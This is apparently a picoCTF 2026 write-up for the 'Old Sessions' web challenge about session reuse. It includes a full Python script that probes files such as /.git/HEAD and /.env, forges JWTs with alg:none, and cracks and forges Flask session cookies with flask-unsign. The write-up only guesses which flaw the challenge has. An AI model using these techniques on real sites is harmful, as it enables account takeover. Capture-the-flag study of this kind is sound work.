┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Old Sessions — picoCTF 2026
~ Imattas aka Zemi
 Category: Web Exploitation
 Difficulty: Easy
 Points: 100
 Author: Imattas aka Zemi

────────────────────────────────────────────────────────────────────────────────

--[ Challenge Description ]--

 Proper session timeout controls are critical for securing user accounts. If a
user logs in on a public or shared computer and leaves without logging out, an
attacker can reuse the session.

────────────────────────────────────────────────────────────────────────────────

--[ Recon / Initial Analysis ]--

This challenge demonstrates the Session Fixation / Session Reuse vulnerability.
The web application fails to properly invalidate old session tokens, allowing an
attacker to:

1. Find or obtain an old/expired session token (e.g., from browser history,
logs, or a cookie jar).
2. Reuse that token to gain access to the user's account without authentication.

Key things to look for during recon:
- A login page that sets a session cookie
- Source code (often provided) that shows how sessions are managed
- Hidden files like .git/, backup files, or log files containing old tokens
- The cookie format (Flask signed cookie, JWT, simple base64, etc.)

────────────────────────────────────────────────────────────────────────────────

--[ Vulnerability / Observation ]--

The core issue is improper session timeout controls -- the server never expires
old sessions, or the expiration check is broken, allowing old session cookies to
remain valid indefinitely.

Based on similar picoCTF challenges, this likely involves one or more of the
following:

1. Flask Session Cookies -- The app uses Flask's signed cookies. Old sessions
are still valid because the server does not track session expiry server-side.
2. JWT Tokens -- The app uses JSON Web Tokens with a weak or guessable secret,
or the expiration (exp) claim is not validated.
3. Session Cookie Tampering -- The session cookie contains user information
(like username or admin status) that can be modified.
4. Provided Old Session Data -- The challenge gives you access to an old session
token (perhaps via a backup file, log file, or Git history) that still works.

────────────────────────────────────────────────────────────────────────────────

--[ Exploitation / Solution ]--

:: Step 1: Explore the Application

Visit the challenge URL and inspect the application:
- Check the login page
- Register or note any provided credentials
- Inspect cookies set by the application

:: Step 2: Identify Old Session Data

Look for old session tokens. Common locations:
- A /sessions/ or /backup/ directory
- Source code comments or configuration files
- A downloadable file provided with the challenge
- Response headers or hidden form fields

:: Step 3: Analyze the Session Format

Decode the session cookie:
- Flask: Base64-decode the cookie (format: payload.timestamp.signature). Use
flask-unsign to decode.
- JWT: Decode at jwt.io or with pyjwt. Check for weak secrets or alg: none
vulnerability.
- Simple cookie: May be plain base64 or a simple encoding.

:: Step 4: Reuse or Forge the Session

Depending on the vulnerability:

If old sessions are provided:
- Simply set the old session cookie in your browser and access the protected
page.

If you need to forge a session:
- Brute-force the Flask secret key using flask-unsign --unsign --cookie <cookie>
--wordlist <wordlist>
- Once the secret is known, forge a new cookie: flask-unsign --sign --cookie
"{'user': 'admin'}" --secret <key>

If JWT with weak validation:
- Modify the payload (e.g., change user to admin)
- Re-sign with the discovered secret or exploit alg: none

:: Step 5: Access the Flag

With the valid (old or forged) session cookie set, navigate to the protected
endpoint (e.g., /flag, /dashboard, /admin) to retrieve the flag.

────────────────────────────────────────────────────────────────────────────────

--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
Old Sessions - picoCTF 2026
Category: Web Exploitation (100 pts)

Exploits improper session timeout controls. The application fails to
invalidate old session tokens, allowing session reuse.

This script:
1. Discovers old session tokens (from backup files, directories, etc.)
2. Attempts to decode/analyze session cookies (Flask, JWT, base64)
3. Tries session reuse or forging to access the protected flag endpoint

Usage:
    python3 solve.py --url http://challenge.picoctf.org:PORT
    python3 solve.py --url URL --cookie "old_session_cookie_value"
    python3 solve.py --url URL --wordlist wordlist.txt

Dependencies:
    pip install requests pyjwt flask-unsign
"""

import argparse
import base64
import json
import re
import sys
import zlib
from urllib.parse import urljoin

import requests


def parse_args():
    parser = argparse.ArgumentParser(description="Old Sessions - Session Reuse Exploit")
    parser.add_argument("--url", required=True, help="Target URL")
    parser.add_argument("--cookie", default=None, help="Known old session cookie value to reuse")
    parser.add_argument("--cookie-name", default="session", help="Cookie name (default: session)")
    parser.add_argument("--wordlist", default=None, help="Wordlist for brute-forcing Flask secret key")
    parser.add_argument("--flag-path", default=None,
                        help="Path to the flag endpoint (auto-discovered if not specified)")
    return parser.parse_args()


# =============================================================================
# Session Cookie Decoders
# =============================================================================

def decode_flask_cookie(cookie_value):
    """Decode a Flask signed session cookie (without verifying signature)."""
    try:
        # Flask cookies are: payload.timestamp.signature
        # The payload is base64url-encoded, optionally zlib-compressed
        payload = cookie_value.split('.')[0]

        # Add padding
        padding = 4 - len(payload) % 4
        if padding != 4:
            payload += '=' * padding

        # Replace URL-safe characters
        payload = payload.replace('-', '+').replace('_', '/')

        decoded = base64.b64decode(payload)

        # Check if zlib-compressed (starts with '.')
        if cookie_value.startswith('.'):
            payload = cookie_value[1:].split('.')[0]
            padding = 4 - len(payload) % 4
            if padding != 4:
                payload += '=' * padding
            payload = payload.replace('-', '+').replace('_', '/')
            decoded = base64.b64decode(payload)
            decoded = zlib.decompress(decoded)

        return json.loads(decoded)
    except Exception:
        return None


def decode_jwt(token):
    """Decode a JWT token (without verifying signature)."""
    try:
        parts = token.split('.')
        if len(parts) != 3:
            return None

        # Decode header and payload
        header = parts[0]
        payload = parts[1]

        for part_name, part in [("header", header), ("payload", payload)]:
            padding = 4 - len(part) % 4
            if padding != 4:
                part += '=' * padding

        header_decoded = json.loads(base64.urlsafe_b64decode(
            header + '=' * (4 - len(header) % 4)))
        payload_decoded = json.loads(base64.urlsafe_b64decode(
            payload + '=' * (4 - len(payload) % 4)))

        return {"header": header_decoded, "payload": payload_decoded}
    except Exception:
        return None


def decode_base64_cookie(cookie_value):
    """Try simple base64 decoding."""
    try:
        padding = 4 - len(cookie_value) % 4
        if padding != 4:
            cookie_value += '=' * padding
        decoded = base64.b64decode(cookie_value)
        return decoded.decode('utf-8', errors='ignore')
    except Exception:
        return None


# =============================================================================
# Discovery Functions
# =============================================================================

def discover_endpoints(session, base_url):
    """Try to discover interesting endpoints and files."""
    interesting_paths = [
        "/",
        "/login",
        "/flag",
        "/admin",
        "/dashboard",
        "/secret",
        "/sessions",
        "/backup",
        "/old",
        "/robots.txt",
        "/.git/HEAD",
        "/sitemap.xml",
        "/.env",
        "/config",
        "/logs",
        "/session_store",
    ]

    found = []
    print("[*] Discovering endpoints...")
    for path in interesting_paths:
        try:
            url = urljoin(base_url, path)
            resp = session.get(url, allow_redirects=False, timeout=5)
            status = resp.status_code
            if status < 404:
                found.append((path, status, len(resp.text)))
                print(f"    [{'+'if status==200 else '*'}] {path} -> {status} ({len(resp.text)} bytes)")
        except requests.exceptions.RequestException:
            pass

    return found


def discover_old_sessions(session, base_url):
    """Look for old session tokens in various locations."""
    old_tokens = []

    # Check for session/token files
    session_paths = [
        "/sessions/old",
        "/sessions/backup",
        "/old_session",
        "/backup/session",
        "/token",
        "/old_token",
        "/.session",
    ]

    print("[*] Looking for old session tokens...")
    for path in session_paths:
        try:
            url = urljoin(base_url, path)
            resp = session.get(url, timeout=5)
            if resp.status_code == 200 and resp.text.strip():
                token = resp.text.strip()
                print(f"    [+] Found token at {path}: {token[:80]}...")
                old_tokens.append(token)
        except requests.exceptions.RequestException:
            pass

    # Check page source for hidden tokens
    try:
        resp = session.get(base_url, timeout=5)
        # Look for tokens in HTML comments, hidden fields, JS variables
        patterns = [
            r'<!--\s*session[:\s]*([A-Za-z0-9_\-\.=+/]+)\s*-->',
            r'token\s*[=:]\s*["\']([A-Za-z0-9_\-\.=+/]+)["\']',
            r'session\s*[=:]\s*["\']([A-Za-z0-9_\-\.=+/]+)["\']',
            r'value\s*=\s*["\']([A-Za-z0-9_\-\.=+/]{20,})["\']',
        ]
        for pat in patterns:
            matches = re.findall(pat, resp.text, re.IGNORECASE)
            for match in matches:
                print(f"    [+] Found potential token in page source: {match[:80]}...")
                old_tokens.append(match)
    except requests.exceptions.RequestException:
        pass

    return old_tokens


# =============================================================================
# Attack Functions
# =============================================================================

def try_session_reuse(session, base_url, cookie_name, cookie_value, flag_paths=None):
    """Attempt to use a session cookie to access protected endpoints."""
    if flag_paths is None:
        flag_paths = ["/", "/flag", "/admin", "/dashboard", "/secret", "/home"]

    print(f"[*] Trying session reuse with cookie: {cookie_value[:60]}...")
    cookies = {cookie_name: cookie_value}

    for path in flag_paths:
        try:
            url = urljoin(base_url, path)
            resp = session.get(url, cookies=cookies, timeout=5)

            # Check for flag in response
            flag_match = re.search(r'picoCTF\{[^}]+\}', resp.text)
            if flag_match:
                return flag_match.group(), path

            # Check if we got a different (authenticated) response
            if resp.status_code == 200 and "login" not in resp.url.lower():
                # Might have succeeded, check content
                if "flag" in resp.text.lower() or "welcome" in resp.text.lower():
                    print(f"    [*] Interesting response at {path} (status {resp.status_code})")
                    # Dump a snippet
                    snippet = resp.text[:500].strip()
                    print(f"    [*] Response snippet: {snippet[:200]}")

        except requests.exceptions.RequestException:
            pass

    return None, None


def brute_force_flask_secret(cookie_value, wordlist_path):
    """Try to brute-force the Flask secret key."""
    try:
        import subprocess
        print(f"[*] Brute-forcing Flask secret key using flask-unsign...")
        result = subprocess.run(
            ["flask-unsign", "--unsign", "--cookie", cookie_value,
             "--wordlist", wordlist_path, "--no-literal-eval"],
            capture_output=True, text=True, timeout=120
        )
        if result.returncode == 0:
            # Extract the secret from output
            for line in result.stdout.split('\n'):
                if 'secret' in line.lower() or line.strip().startswith("'") or line.strip().startswith('"'):
                    secret = line.strip().strip("'\"")
                    if secret:
                        return secret
        print(f"    [!] flask-unsign output: {result.stdout}")
        print(f"    [!] flask-unsign errors: {result.stderr}")
    except FileNotFoundError:
        print("[!] flask-unsign not installed. Install with: pip install flask-unsign")
    except subprocess.TimeoutExpired:
        print("[!] Brute-force timed out.")
    except Exception as e:
        print(f"[!] Error during brute-force: {e}")
    return None


def forge_flask_cookie(secret, payload_dict):
    """Forge a Flask session cookie with the given secret and payload."""
    try:
        import subprocess
        payload_str = json.dumps(payload_dict).replace('"', "'")
        result = subprocess.run(
            ["flask-unsign", "--sign", "--cookie", payload_str, "--secret", secret],
            capture_output=True, text=True, timeout=30
        )
        if result.returncode == 0:
            return result.stdout.strip()
    except Exception as e:
        print(f"[!] Error forging cookie: {e}")

    # Fallback: use itsdangerous directly
    try:
        from itsdangerous import URLSafeTimedSerializer
        serializer = URLSafeTimedSerializer(secret)
        return serializer.dumps(payload_dict)
    except Exception as e:
        print(f"[!] Error with itsdangerous: {e}")

    return None


def try_jwt_none_attack(token, base_url, session, cookie_name, flag_paths=None):
    """Try the JWT 'alg: none' attack."""
    if flag_paths is None:
        flag_paths = ["/", "/flag", "/admin", "/dashboard"]

    decoded = decode_jwt(token)
    if decoded is None:
        return None, None

    print("[*] JWT decoded successfully:")
    print(f"    Header: {decoded['header']}")
    print(f"    Payload: {decoded['payload']}")

    # Modify payload for admin access
    payload = decoded['payload'].copy()
    admin_payloads = []

    # Try various admin escalation modifications
    if 'user' in payload:
        mod = payload.copy()
        mod['user'] = 'admin'
        admin_payloads.append(mod)
    if 'username' in payload:
        mod = payload.copy()
        mod['username'] = 'admin'
        admin_payloads.append(mod)
    if 'role' in payload:
        mod = payload.copy()
        mod['role'] = 'admin'
        admin_payloads.append(mod)
    if 'admin' in payload:
        mod = payload.copy()
        mod['admin'] = True
        admin_payloads.append(mod)

    # Also try just the original payload with alg:none
    admin_payloads.append(payload)

    for mod_payload in admin_payloads:
        # Create alg:none JWT
        header = {"alg": "none", "typ": "JWT"}
        header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
        payload_b64 = base64.urlsafe_b64encode(json.dumps(mod_payload).encode()).rstrip(b'=').decode()
        forged_token = f"{header_b64}.{payload_b64}."

        flag, path = try_session_reuse(session, base_url, cookie_name, forged_token, flag_paths)
        if flag:
            return flag, path

    return None, None


# =============================================================================
# Main
# =============================================================================

def main():
    args = parse_args()
    session = requests.Session()

    print("=" * 60)
    print("  Old Sessions - Session Reuse Exploit")
    print("  picoCTF 2026 - Web Exploitation (100 pts)")
    print("=" * 60)
    print(f"[*] Target: {args.url}")
    print()

    flag_paths = [args.flag_path] if args.flag_path else None

    # Step 1: If we already have a cookie, try it directly
    if args.cookie:
        print("[*] Using provided session cookie...")

        # Analyze the cookie format
        flask_data = decode_flask_cookie(args.cookie)
        if flask_data:
            print(f"[+] Flask session cookie decoded: {flask_data}")

        jwt_data = decode_jwt(args.cookie)
        if jwt_data:
            print(f"[+] JWT token decoded: {jwt_data}")

        # Try reusing the cookie as-is
        flag, path = try_session_reuse(session, args.url, args.cookie_name, args.cookie, flag_paths)
        if flag:
            print()
            print("=" * 60)
            print(f"[+] FLAG: {flag}")
            print(f"[+] Found at: {path}")
            print("=" * 60)
            return

        # Try JWT none attack if it's a JWT
        if jwt_data:
            print("[*] Trying JWT 'alg: none' attack...")
            flag, path = try_jwt_none_attack(args.cookie, args.url, session,
                                             args.cookie_name, flag_paths)
            if flag:
                print()
                print("=" * 60)
                print(f"[+] FLAG: {flag}")
                print(f"[+] Found at: {path}")
                print("=" * 60)
                return

        print("[!] Direct cookie reuse did not yield the flag.")
        print()

    # Step 2: Discover endpoints
    endpoints = discover_endpoints(session, args.url)
    print()

    # Step 3: Get a session cookie from the server
    print("[*] Fetching initial page to get session cookie...")
    try:
        resp = session.get(args.url, timeout=5)
        server_cookie = session.cookies.get(args.cookie_name)
        if server_cookie:
            print(f"[+] Got session cookie: {server_cookie[:80]}...")

            flask_data = decode_flask_cookie(server_cookie)
            if flask_data:
                print(f"[+] Flask session data: {flask_data}")

            jwt_data = decode_jwt(server_cookie)
            if jwt_data:
                print(f"[+] JWT data: {jwt_data}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Could not fetch initial page: {e}")

    # Step 4: Look for old session tokens
    old_tokens = discover_old_sessions(session, args.url)
    print()

    # Step 5: Try each discovered old session token
    for token in old_tokens:
        flag, path = try_session_reuse(session, args.url, args.cookie_name, token, flag_paths)
        if flag:
            print()
            print("=" * 60)
            print(f"[+] FLAG: {flag}")
            print(f"[+] Found at: {path}")
            print(f"[+] Using old session: {token[:60]}...")
            print("=" * 60)
            return

        # Try JWT none attack on discovered tokens
        if decode_jwt(token):
            flag, path = try_jwt_none_attack(token, args.url, session,
                                             args.cookie_name, flag_paths)
            if flag:
                print()
                print("=" * 60)
                print(f"[+] FLAG: {flag}")
                print(f"[+] Found at: {path}")
                print("=" * 60)
                return

    # Step 6: Try brute-forcing Flask secret if we have a cookie and a wordlist
    if args.wordlist and server_cookie:
        print("[*] Attempting to brute-force Flask secret key...")
        secret = brute_force_flask_secret(server_cookie, args.wordlist)
        if secret:
            print(f"[+] Found Flask secret: {secret}")

            # Forge admin cookie
            admin_payloads = [
                {"user": "admin"},
                {"username": "admin"},
                {"admin": True, "user": "admin"},
                {"role": "admin"},
            ]

            # If we decoded the original cookie, modify it
            if flask_data and isinstance(flask_data, dict):
                mod = flask_data.copy()
                if 'user' in mod:
                    mod['user'] = 'admin'
                elif 'username' in mod:
                    mod['username'] = 'admin'
                mod['admin'] = True
                admin_payloads.insert(0, mod)

            for payload in admin_payloads:
                forged = forge_flask_cookie(secret, payload)
                if forged:
                    print(f"[*] Trying forged cookie with payload: {payload}")
                    flag, path = try_session_reuse(session, args.url, args.cookie_name,
                                                   forged, flag_paths)
                    if flag:
                        print()
                        print("=" * 60)
                        print(f"[+] FLAG: {flag}")
                        print(f"[+] Found at: {path}")
                        print("=" * 60)
                        return

    print()
    print("[!] Could not automatically retrieve the flag.")
    print("[*] Manual steps to try:")
    print("    1. Check browser DevTools for cookies after logging in")
    print("    2. Look for backup/git files containing old session data")
    print("    3. Try flask-unsign with a custom wordlist")
    print("    4. Check if there are downloadable challenge files with session data")
    print("    5. Inspect response headers for session-related information")


if __name__ == "__main__":
    main()
────────────────────────────────────────────────────────────────────────────────

--[ Key Takeaways ]--

- Sessions must be invalidated server-side on logout and expired on a timeout;
if they are not, an old cookie remains valid indefinitely and can be reused.
- Identify the cookie format first: Flask signed cookies
(payload.timestamp.signature), JWTs (three base64url parts), or plain base64
each have different attack paths.
- Flask cookies can be decoded without the secret; with a weak secret recovered
via flask-unsign and a wordlist, you can forge arbitrary admin sessions.
- JWTs are vulnerable to the alg: none attack and to payload tampering when the
signature/expiry is not properly validated.
- Hunt for leaked old tokens in /.git/, backup files, logs, HTML comments, and
hidden form fields.